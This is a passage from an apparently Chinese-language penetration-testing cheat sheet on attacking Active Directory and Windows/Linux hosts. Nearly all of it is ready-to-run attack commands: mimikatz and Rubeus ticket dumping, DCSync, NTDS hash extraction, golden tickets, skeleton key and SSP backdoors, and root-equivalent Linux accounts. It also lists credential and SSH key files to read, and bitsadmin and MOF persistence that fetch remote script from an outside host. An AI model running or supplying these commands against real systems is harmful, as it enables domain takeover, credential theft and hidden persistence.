sekurlsa::tickets /export sekurlsa::tickets / 899 | 900 | Rubeus dump /service:krbtgt /nowrap 901 | 902 | Rubeus dump /luid:0xdeadbeef /nowrap 903 | ~~~ 904 | 905 | 906 | 907 | ### 查找约束委派主机 908 | 909 | ~~~ABAP 910 | Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo 911 | 912 | MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p 913 | 914 | MATCH (u:User {owned:true}), (c:Computer {name: ""}), p=shortestPath((u)-[*1..]->(c)) RETURN p 915 | ~~~ 916 | 917 | 918 | 919 | ## 5.基于资源的约束委派 920 | 921 | 922 | 923 | 924 | 925 | ## 6.dcsync 926 | 927 | ~~~ABAP 928 | lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins 组下的账户都行 929 | ~~~ 930 | 931 | 932 | 933 | ## 7.打印机 SpoolService 漏洞利用 934 | 935 | ~~~ABAP 936 | rpcdump.py /:@ | grep MS-RPRN 937 | printerbug.py '/:'@ 938 | ~~~ 939 | 940 | 941 | 942 | ## 8.AD域ACL攻击(aclpwn.py) 943 | 944 | ~~~ABAP 945 | GenericAll on User 946 | GenericAll on Group 947 | GenericAll / GenericWrite / Write on Computer 948 | WriteProperty on Group 949 | Self (Self-Membership) on Group 950 | WriteProperty (Self-Membership) 951 | ForceChangePassword 952 | WriteOwner on Group 953 | GenericWrite on User 954 | WriteDACL + WriteOwner 955 | ~~~ 956 | 957 | 958 | 959 | ## 9.获取LAPS管理员密码 960 | 961 | ~~~ABAP 962 | Get-LAPSPasswords -DomainController -Credential \ | Format-Table -AutoSize 963 | 964 | foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}} 965 | ~~~ 966 | 967 | ## 10.privexchange漏洞 968 | 969 | ~~~ABAP 970 | python privexchange.py -ah -u -d -p 971 | 972 | ntlmrelayx.py -t ldap://--escalate-user 973 | ~~~ 974 | 975 | ##### Exchange的利用 976 | 977 | - [**Exchange2domain**](https://github.com/Ridter/Exchange2domain) 978 | - [**CVE-2018-8581**](https://github.com/WyAtu/CVE-2018-8581/) 979 | - [**CVE-2019-1040**](https://github.com/Ridter/CVE-2019-1040) 980 | - [**CVE-2020-0688**](https://github.com/Ridter/CVE-2020-0688) 981 | - [**NtlmRelayToEWS**](https://github.com/Arno0x/NtlmRelayToEWS) 982 | - [**ewsManage**](https://github.com/3gstudent/ewsManage) 983 | - [**CVE-2021-26855**](https://github.com/h4x0r-dz/CVE-2021-26855) 984 | - [**CVE-2021-28482**](https://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda) 985 | 986 | 987 | 988 | 989 | 990 | ## 11.IPC 991 | 992 | ~~~ABAP 993 | net use \\ip\ipc$ "password" /user:"administrator" 994 | net use \\ip\c$ "password" /user:"administrator" 995 | 996 | 997 | ~~~ 998 | 999 | 1000 | 1001 | 1002 | 1003 | ## 12.其他横移 1004 | 1005 | ~~~ 1006 | 1.向WSUS服务器数据库注入恶意程序更新 WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器 1007 | 1008 | 2.MSSQL Trusted Links use exploit/windows/mssql/mssql_linkcrawler 1009 | 1010 | 3.GPO Delegation 1011 | 1012 | 4.ADCS 1013 | 1014 | 5.钉钉 6.3.5 RCE https://github.com/crazy0x70/dingtalk-RCE 1015 | 1016 | 6.向日葵11.1 RCE 1017 | ~~~ 1018 | 1019 | 1020 | 1021 | 1022 | 1023 | 1024 | 1025 | # 10.权限维持 1026 | 1027 | ## 拿到域控权限 1028 | 1029 | dump ntds.dit 文件 1030 | 1031 | ~~~ 1032 | crackmapexec smb 127.0.0.1 -u -p -d --ntds 1033 | 1034 | secretsdump.py '/:'@ 1035 | 1036 | ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q 1037 | 1038 | secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract 1039 | 1040 | windows/gather/credentials/domain_hashdump 1041 | ~~~ 1042 | 1043 | 1044 | 1045 | ## Windows后门 1046 | 1047 | ~~~ABAP 1048 | net group "domain admins" myuser /add /domain 1049 | 1050 | Golden ticket(黄金票据) 1051 | 1052 | Silver Ticket(白银票据) 1053 | 1054 | DSRM 后门: 1055 | PowerShell New-ItemProperty “HKLM:\System\CurrentControlSet\Control\Lsa\” -Name “DsrmAdminLogonBehavior” -Value 2 -PropertyType DWORD 1056 | 1057 | Skeleton Key: 1058 | mimikatz "privilege::debug" "misc::skeleton" "exit" 1059 | 1060 | 自定义 SSP DLL: 1061 | mimikatz "privilege::debug" "misc::memssp" "exit" 1062 | C:\Windows\System32\kiwissp.log 1063 | ~~~ 1064 | 1065 | ## Linux后门 1066 | ~~~ 1067 | # echo "0range ALL=(ALL) ALL" >> /etc/sudoers 将现有普通用户添加为 sudo 用户 1068 | # useradd -u 0 -g 0 -o adv -m -s /bin/bash 添加超管账户 1069 | ps: 相比贸然去新增用户, 把系统中现有的普通用户提升为 sudo 用户可能会更靠谱点 1070 | 1071 | ~~~ 1072 | 1073 | 1074 | ## 域信任关系 1075 | 1076 | ### 子域攻击父域 - SID History版跨域黄金票据 1077 | 1078 | ~~~ABAP 1079 | Get-NetGroup -Domain -GroupName "Enterprise Admins" -FullData|select objectsid 1080 | 1081 | mimikatz lsadump::trust 1082 | 1083 | kerberos::golden /user:Administrator /krbtgt: /domain: /sid: /sids: /ptt 1084 | ~~~ 1085 | 1086 | ### 利用域信任密钥获取目标域的权限 - 信任票据 1087 | 1088 | ~~~ABAP 1089 | "lsadump::trust /patch" 1090 | "lsadump::lsa /patch" 1091 | 1092 | "kerberos::golden /user:Administrator /domain: /sid: 1093 | /rc4: /service:krbtgt /target: /ticket: 1094 | " 1095 | ~~~ 1096 | 1097 | 1098 | 1099 | ### 攻击其它林 1100 | 1101 | ~~~ 1102 | 利用ptintbug或petipotam漏洞使其它林的DC主动连接到本林的一台无约束委派主机,同时抓取发送过来的TGT,然后即可将它用于dcsync攻击 1103 | ~~~ 1104 | 1105 | 1106 | 1107 | ## 活动目录持久性技巧 1108 | 1109 | https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步 1110 | 1111 | > Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html) 1112 | 1113 | [DCshadow](https://www.dcshadow.com/) 1114 | 1115 | ##### Security Support Provider 1116 | 1117 | 简单的理解为SSP就是一个DLL,用来实现身份认证 1118 | 1119 | ``` 1120 | privilege::debug 1121 | misc::memssp 1122 | ``` 1123 | 1124 | 这样就不需要重启`c:/windows/system32`可看到新生成的文件kiwissp.log 1125 | 1126 | ##### [SID History](https://adsecurity.org/?p=1772) 1127 | 1128 | SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 1129 | 1130 | ``` 1131 | mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" 1132 | ``` 1133 | 1134 | ##### [AdminSDHolder&SDProp](https://adsecurity.org/?p=1906) 1135 | 1136 | 利用AdminSDHolder&SDProp(重新)获取域管理权限 1137 | 1138 | ##### Dcsync后门 1139 | 1140 | 向域成员赋予Dcsync权限 1141 | 1142 | ``` 1143 | Powerview.ps1 1144 | Add-DomainObjectAcl -TargetIdentity "DC=vulntarget,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose 1145 | ``` 1146 | 1147 | 在登录了test1域账户的机器上执行Dcsync利用操作 1148 | 1149 | ``` 1150 | mimikatz "lsadump::dcsync /domain:vulntarget.com /all /csv" 1151 | ``` 1152 | 1153 | 1154 | 1155 | ##### 组策略 1156 | 1157 | https://adsecurity.org/?p=2716 [策略对象在持久化及横向渗透中的应用](https://www.anquanke.com/post/id/86531) 1158 | 1159 | ##### Hook PasswordChangeNotify 1160 | 1161 | http://www.vuln.cn/6812 1162 | 1163 | ##### Kerberoasting后门 1164 | 1165 | [域渗透-Kerberoasting](https://3gstudent.github.io/域渗透-Kerberoasting) 1166 | 1167 | ##### AdminSDHolder 1168 | 1169 | [Backdooring AdminSDHolder for Persistence](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence) 1170 | 1171 | ##### Delegation 1172 | 1173 | [Unconstrained Domain Persistence](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence) 1174 | 1175 | 证书伪造: [pyForgeCert](https://github.com/Ridter/pyForgeCert) 1176 | 1177 | 1178 | 1179 | 1180 | 1181 | 1182 | 1183 | # 11.敏感文件 1184 | 1185 | ## windows 1186 | 1187 | 敏感配置文件 1188 | 1189 | ```javascript 1190 | C:\boot.ini //查看系统版本 1191 | C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 1192 | C:\Windows\repair\sam //存储系统初次安装的密码 1193 | C:\Program Files\mysql\my.ini //Mysql配置 1194 | C:\Program Files\mysql\data\mysql\user.MYD //Mysql root 1195 | C:\Windows\php.ini //php配置信息 1196 | C:\Windows\my.ini //Mysql配置信息 1197 | C:\Windows\win.ini //Windows系统的一个基本系统配置文件 1198 | ``` 1199 | 1200 | ## Linux 1201 | 1202 | 敏感配置文件 1203 | 1204 | ```javascript 1205 | #判断是否在docker容器内 1206 | /proc/1/cgroup 1207 | 1208 | # 系统版本 1209 | cat /etc/issue 1210 | 1211 | # 内核版本 1212 | cat /proc/version 1213 | 1214 | # 账户密码 1215 | cat /etc/passwd 1216 | cat /etc/shadow 1217 | 1218 | # 环境变量 1219 | cat /etc/profile 1220 | 1221 | # 系统应用(命令) 1222 | ls -lah/sbin 1223 | 1224 | # 安装应用(命令) 1225 | la -lah /usr/bin 1226 | 1227 | # 开机自启 1228 | cat /etc/crontab 1229 | 1230 | # history 1231 | cat ~/.bash_history 1232 | cat ~/.nano_history 1233 | cat ~/.atftp_history 1234 | cat ~/.mysql_history 1235 | cat ~/.php_history 1236 | 1237 | # 网络配置 1238 | cat /etc/resolv.conf 1239 | cat /etc/networks 1240 | cat /etc/network/interfaces 1241 | cat /etc/sysconfig/network 1242 | cat /etc/host.conf 1243 | cat /etc/hosts 1244 | cat /etc/dhcpd.conf 1245 | 1246 | # Service配置 1247 | cat /etc/apache2/apache2.conf 1248 | cat /etc/httpd/conf/httpd.conf 1249 | cat /etc/httpd/conf/httpd2.conf 1250 | cat /var/apache2/config.inc 1251 | cat /usr/local/etc/nginx/nginx.conf 1252 | cat /usr/local/nginx/conf/nginx.conf 1253 | cat /etc/my.cnf 1254 | cat /etc/mysql/my.cnf 1255 | cat /var/lib/mysql/mysql/user.MYD 1256 | cat /etc/mongod.conf 1257 | cat /usr/local/redis/redis.conf 1258 | cat /etc/redis/redis.conf 1259 | 1260 | # ftp 1261 | cat /etc/proftpd.conf 1262 | 1263 | # mail 1264 | cat /var/mail/root 1265 | cat /var/spool/mail/root 1266 | cat ~/.fetchmailrc 1267 | cat /etc/procmailrc 1268 | cat ~/.procmailrc 1269 | cat /etc/exim/exim.cf 1270 | cat /etc/postfix/main.cf 1271 | cat /etc/mail/sendmail.mc 1272 | cat /usr/share/sendmail/cf/cf/linux.smtp.mc 1273 | cat /etc/mail/sendmail.cf 1274 | 1275 | 1276 | # ssh 1277 | cat ~/.ssh/authorized_keys 1278 | cat ~/.ssh/identity.pub 1279 | cat ~/.ssh/identity 1280 | cat ~/.ssh/id_rsa.pub 1281 | cat ~/.ssh/id_rsa 1282 | cat ~/.ssh/id_dsa.pub 1283 | cat ~/.ssh/id_dsa 1284 | cat /etc/ssh/ssh_config 1285 | cat /etc/ssh/sshd_config 1286 | cat /etc/ssh/ssh_host_dsa_key.pub 1287 | cat /etc/ssh/ssh_host_dsa_key 1288 | cat /etc/ssh/ssh_host_rsa_key.pub 1289 | cat /etc/ssh/ssh_host_rsa_key 1290 | cat /etc/ssh/ssh_host_key.pub 1291 | cat /etc/ssh/ssh_host_key 1292 | 1293 | 1294 | # log 1295 | ls /var/log 1296 | cat /etc/httpd/logs/access_log 1297 | cat /etc/httpd/logs/access.log 1298 | cat /etc/httpd/logs/error_log 1299 | cat /etc/httpd/logs/error.log 1300 | cat /var/log/apache2/access_log 1301 | cat /var/log/apache2/access.log 1302 | cat /var/log/apache2/error_log 1303 | cat /var/log/apache2/error.log 1304 | cat /var/log/apache/access_log 1305 | cat /var/log/apache/access.log 1306 | cat /var/log/auth.log 1307 | cat /var/log/chttp.log 1308 | cat /var/log/cups/error_log 1309 | cat /var/log/dpkg.log 1310 | cat /var/log/faillog 1311 | cat /var/log/httpd/access_log 1312 | cat /var/log/httpd/access.log 1313 | cat /var/log/httpd/error_log 1314 | cat /var/log/httpd/error.log 1315 | cat /var/log/lastlog 1316 | cat /var/log/lighttpd/access.log 1317 | cat /var/log/lighttpd/error.log 1318 | cat /var/log/lighttpd/lighttpd.access.log 1319 | cat /var/log/lighttpd/lighttpd.error.log 1320 | cat /var/log/messages 1321 | cat /var/log/secure 1322 | cat /var/log/syslog 1323 | cat /var/log/wtmp 1324 | cat /var/log/xferlog 1325 | cat /var/log/yum.log 1326 | cat /var/run/utmp 1327 | cat /var/webmin/miniserv.log 1328 | cat /var/www/logs/access_log 1329 | cat /var/www/logs/access.log 1330 | 1331 | # proc fuzz 1332 | /proc/self/fd/32 1333 | /proc/self/fd/33 1334 | /proc/self/fd/34 1335 | /proc/self/fd/35 1336 | /proc/sched_debug 1337 | /proc/mounts 1338 | /proc/net/arp 1339 | /proc/net/route 1340 | /proc/net/tcp 1341 | /proc/net/udp 1342 | /proc/net/fib_trie 1343 | /proc/version 1344 | ``` 1345 | 1346 | 1347 | 1348 | 1349 | 1350 | # 12.权限提升 1351 | 1352 | ## Windows 1353 | 1354 | ### bypass UAC 1355 | 1356 | ##### 常用方法 1357 | 1358 | - 使用IFileOperation COM接口 1359 | - 使用Wusa.exe的extract选项 1360 | - 远程注入SHELLCODE 到傀儡进程 1361 | - DLL劫持,劫持系统的DLL文件 1362 | - eventvwr.exe and registry hijacking 1363 | - sdclt.exe 1364 | - SilentCleanup 1365 | - wscript.exe 1366 | - cmstp.exe 1367 | - 修改环境变量,劫持高权限.Net程序 1368 | - 修改注册表HKCU\Software\Classes\CLSID,劫持高权限程序 1369 | - 直接提权过UAC 1370 | - …… 1371 | 1372 | ##### 常用工具 1373 | 1374 | - [UACME](https://github.com/hfiref0x/UACME) 1375 | - [Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC) 1376 | - [Yamabiko](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC/Yamabiko) 1377 | - ... 1378 | 1379 | #### 提权 1380 | 1381 | - windows内核漏洞提权 1382 | 1383 | > 检测类:[Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester),[WinSystemHelper](https://github.com/brianwrf/WinSystemHelper),[wesng](https://github.com/bitsadmin/wesng) 1384 | 1385 | > 利用类:[windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits),[BeRoot](https://github.com/AlessandroZ/BeRoot.git) 1386 | 1387 | - 服务提权 1388 | 1389 | > 数据库服务,ftp服务等 1390 | 1391 | - WINDOWS错误系统配置 1392 | - 系统服务的错误权限配置漏洞 1393 | - 不安全的注册表权限配置 1394 | - 不安全的文件/文件夹权限配置 1395 | - 计划任务 1396 | - 任意用户以NT AUTHORITY\SYSTEM权限安装msi 1397 | - 提权脚本 1398 | 1399 | > [PowerUP](https://github.com/HarmJ0y/PowerUp/blob/master/PowerUp.ps1),[ElevateKit](https://github.com/rsmudge/ElevateKit) 1400 | > 1401 | > 1402 | 1403 | ## Linux 1404 | 1405 | #### 内核溢出提权 1406 | 1407 | [linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits) 1408 | 1409 | #### 计划任务 1410 | 1411 | ```ABAP 1412 | crontab -l 1413 | ls -alh /var/spool/cron 1414 | ls -al /etc/ | grep cron 1415 | ls -al /etc/cron* 1416 | cat /etc/cron* 1417 | cat /etc/at.allow 1418 | cat /etc/at.deny 1419 | cat /etc/cron.allow 1420 | cat /etc/cron.deny 1421 | cat /etc/crontab 1422 | cat /etc/anacrontab 1423 | cat /var/spool/cron/crontabs/root 1424 | ``` 1425 | 1426 | #### SUID 1427 | 1428 | ```ABAP 1429 | find / -user root -perm -4000 -print 2>/dev/null 1430 | find / -perm -u=s -type f 2>/dev/null 1431 | find / -user root -perm -4000 -exec ls -ldb {} \; 1432 | ``` 1433 | 1434 | 寻找可利用bin:https://gtfobins.github.io/ 1435 | 1436 | #### 环境变量 1437 | 1438 | ~~~ 1439 | cd /tmp 1440 | echo “/bin/sh” > ps 1441 | chmod 777 ps 1442 | echo $PATH 1443 | export PATH=/tmp:$PATH 1444 | cd /home/raj/script 1445 | ./shell 1446 | whoami 1447 | ~~~ 1448 | 1449 | [Linux环境变量提权 - 先知社区)](https://xz.aliyun.com/t/2767) 1450 | 1451 | #### 系统服务的错误权限配置漏洞 1452 | 1453 | ```ABAP 1454 | cat /var/apache2/config.inc 1455 | cat /var/lib/mysql/mysql/user.MYD 1456 | cat /root/anaconda-ks.cfg 1457 | ``` 1458 | 1459 | #### CVE-2021-4034 1460 | ``` 1461 | https://github.com/berdav/CVE-2021-4034 1462 | https://github.com/arthepsy/CVE-2021-4034 1463 | ``` 1464 | 1465 | #### 不安全的文件/文件夹权限配置 1466 | 1467 | ```apl 1468 | cat ~/.bash_history 1469 | cat ~/.nano_history 1470 | cat ~/.atftp_history 1471 | cat ~/.mysql_history 1472 | cat ~/.php_history 1473 | ``` 1474 | 1475 | #### 找存储的明文用户名,密码 1476 | 1477 | ```apl 1478 | grep -i user [filename] 1479 | grep -i pass [filename] 1480 | grep -C 5 "password" [filename] 1481 | find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla 1482 | ``` 1483 | 1484 | 1485 | 1486 | # 13.权限维持 1487 | 1488 | ## Windows 1489 | 1490 | ##### 1、密码记录工具 1491 | 1492 | WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。 1493 | 1494 | ##### 2、常用的存储Payload位置 1495 | 1496 | **WMI** : 存储: 1497 | 1498 | ```apl 1499 | $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) 1500 | $StaticClass.Name = 'Win32_Command' 1501 | $StaticClass.Put() 1502 | $StaticClass.Properties.Add('Command' , $Payload) 1503 | $StaticClass.Put() 1504 | ``` 1505 | 1506 | 读取: 1507 | 1508 | ``` 1509 | $Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value 1510 | ``` 1511 | 1512 | **包含数字签名的PE文件** 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 **特殊ADS** … 1513 | 1514 | ``` 1515 | type putty.exe > ...:putty.exe 1516 | wmic process call create c:\test\ads\...:putty.exe 1517 | ``` 1518 | 1519 | 特殊COM文件 1520 | 1521 | ``` 1522 | type putty.exe > \\.\C:\test\ads\COM1:putty.exe 1523 | wmic process call create \\.\C:\test\ads\COM1:putty.exe 1524 | ``` 1525 | 1526 | 磁盘根目录 1527 | 1528 | ``` 1529 | type putty.exe >C:\:putty.exe 1530 | wmic process call create C:\:putty.exe 1531 | ``` 1532 | 1533 | ##### 3、Run/RunOnce Keys 1534 | 1535 | 用户级 1536 | 1537 | ``` 1538 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1539 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 1540 | ``` 1541 | 1542 | 管理员 1543 | 1544 | ```ABAP 1545 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1546 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 1547 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 1548 | ``` 1549 | 1550 | ##### 4、BootExecute Key 1551 | 1552 | 由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为: 1553 | 1554 | ``` 1555 | HKLM\SYSTEM\CurrentControlSet\Control\hivelist 1556 | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager 1557 | ``` 1558 | 1559 | ##### 5、Userinit Key 1560 | 1561 | WinLogon进程加载的login scripts,具体键值: 1562 | 1563 | ``` 1564 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 1565 | ``` 1566 | 1567 | ##### 6、Startup Keys 1568 | 1569 | ```ABAP 1570 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 1571 | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 1572 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders 1573 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders 1574 | ``` 1575 | 1576 | ##### 7、Services 1577 | 1578 | 创建服务 1579 | 1580 | ``` 1581 | sc create [ServerName] binPath= BinaryPathName 1582 | ``` 1583 | 1584 | ##### 8、Browser Helper Objects 1585 | 1586 | 本质上是Internet Explorer启动时加载的DLL模块 1587 | 1588 | ``` 1589 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects 1590 | ``` 1591 | 1592 | ##### 9、AppInit_DLLs 1593 | 1594 | 加载User32.dll会加载的DLL 1595 | 1596 | ``` 1597 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 1598 | ``` 1599 | 1600 | ##### 10、文件关联 1601 | 1602 | ``` 1603 | HKEY_LOCAL_MACHINE\Software\Classes 1604 | HKEY_CLASSES_ROOT 1605 | ``` 1606 | 1607 | ##### 11、[bitsadmin](http://www.liuhaihua.cn/archives/357579.html) 1608 | 1609 | ```ABAP 1610 | bitsadmin /create backdoor 1611 | bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe 1612 | bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll" 1613 | bitsadmin /Resume backdoor 1614 | ``` 1615 | 1616 | ##### 12、[mof](https://evi1cg.me/archives/Powershell_MOF_Backdoor.html) 1617 | 1618 | ```ABAP 1619 | pragma namespace("\\\\.\\root\\subscription") 1620 | instance of __EventFilter as $EventFilter 1621 | { 1622 | EventNamespace = "Root\\Cimv2"; 1623 | Name = "filtP1"; 1624 | Query = "Select * From __InstanceModificationEvent " 1625 | "Where TargetInstance Isa \"Win32_LocalTime\" " 1626 | "And TargetInstance.Second = 1"; 1627 | QueryLanguage = "WQL"; 1628 | }; 1629 | instance of ActiveScriptEventConsumer as $Consumer 1630 | { 1631 | Name = "consP1"; 1632 | ScriptingEngine = "JScript"; 1633 | ScriptText = "GetObject(\"script:https://host.com/test\")"; 1634 | }; 1635 | instance of __FilterToConsumerBinding 1636 | { 1637 | Consumer = $Consumer; 1638 | Filter = $EventFilter; 1639 | }; 1640 | ``` 1641 | 1642 | 管理员执行: 1643 | 1644 | ``` 1645 | mofcomp test.mof 1646 | ``` 1647 | 1648 | ##### 13、[wmi](https://3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe) 1649 | 1650 | 每隔60秒执行一次notepad.exe 1651 | 1652 | ```ABAP 1653 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 1654 | 1655 | wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe" 1656 | 1657 | wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" 1658 | ``` 1659 | 1660 | ##### 14、[Userland Persistence With Scheduled Tasks](https://3gstudent.github.io/Userland-registry-hijacking) 1661 | 1662 | 劫持计划任务UserTask,在系统启动时加载dll 1663 | 1664 | ```c# 1665 | function Invoke-ScheduledTaskComHandlerUserTask 1666 | { 1667 | [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] 1668 | Param ( 1669 | [Parameter(Mandatory = $True)] 1670 | [ValidateNotNullOrEmpty()] 1671 | [String] 1672 | $Command, 1673 | 1674 | [Switch] 1675 | $Force 1676 | ) 1677 | $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" 1678 | if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ 1679 | New-Item $ScheduledTaskCommandPath -Force | 1680 | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null 1681 | }else{ 1682 | Write-Verbose "Key already exists, consider using -Force" 1683 | exit 1684 | } 1685 | 1686 | if (Test-Path $ScheduledTaskCommandPath) { 1687 | Write-Verbose "Created registry entries to hijack the UserTask" 1688 | }else{ 1689 | Write-Warning "Failed to create registry key, exiting" 1690 | exit 1691 | } 1692 | } 1693 | Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose 1694 | ``` 1695 | 1696 | ##### 15、[Netsh](https://3gstudent.github.io/Netsh-persistence) 1697 | 1698 | ``` 1699 | netsh add helper c:\test\netshtest.dll 1700 | ``` 1701 | 1702 | 后门触发:每次调用netsh 1703 | 1704 | > dll编写:https://github.com/outflanknl/NetshHelperBeacon 1705 | 1706 | ##### 16、[Shim](https://3gstudent.github.io/渗透测试中的Application-Compatibility-Shims) 1707 | 1708 | 常用方式: InjectDll RedirectShortcut RedirectEXE 1709 | 1710 | ##### 17、[DLL劫持](https://3gstudent.github.io/DLL劫持漏洞自动化识别工具Rattler测试) 1711 | 1712 | 通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 1713 | 1714 | 工具:https://github.com/sensepost/rattler 1715 | 1716 | 工具:https://github.com/Yonsm/AheadLib 1717 | 1718 | dll劫持不多说 1719 | 1720 | 1721 | 1722 | ##### 18、[DoubleAgent](https://3gstudent.github.io/渗透测试中的Application-Verifier(DoubleAgent利用介绍)) 1723 | 1724 | 编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent 1725 | 1726 | ##### 19、[waitfor.exe](https://3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence) 1727 | 1728 | 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence 1729 | 1730 | ##### 20、[AppDomainManager](https://3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence) 1731 | 1732 | 针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制 1733 | 1734 | ##### 21、Office 1735 | 1736 | [劫持Office软件的特定功能](https://3gstudent.github.io/利用BDF向DLL文件植入后门):通过dll劫持,在Office软件执行特定功能时触发后门 [利用VSTO实现的office后门](https://3gstudent.github.io/利用VSTO实现的office后门) [Office加载项](https://github.com/3gstudent/Office-Persistence) 1737 | 1738 | - Word WLL 1739 | - Excel XLL 1740 | - Excel VBA add-ins 1741 | - PowerPoint VBA add-ins 1742 | 1743 | > 参考1 :https://3gstudent.github.io/Use-Office-to-maintain-persistence 1744 | 1745 | > 参考2 :https://3gstudent.github.io/Office-Persistence-on-x64-operating-system 1746 | 1747 | ##### 22、[CLR](https://3gstudent.github.io/Use-CLR-to-maintain-persistence) 1748 | 1749 | 无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection 1750 | 1751 | ##### 23、[msdtc](https://3gstudent.github.io/Use-msdtc-to-maintain-persistence) 1752 | 1753 | 利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll 1754 | 1755 | ##### 24、[Hijack CAccPropServicesClass and 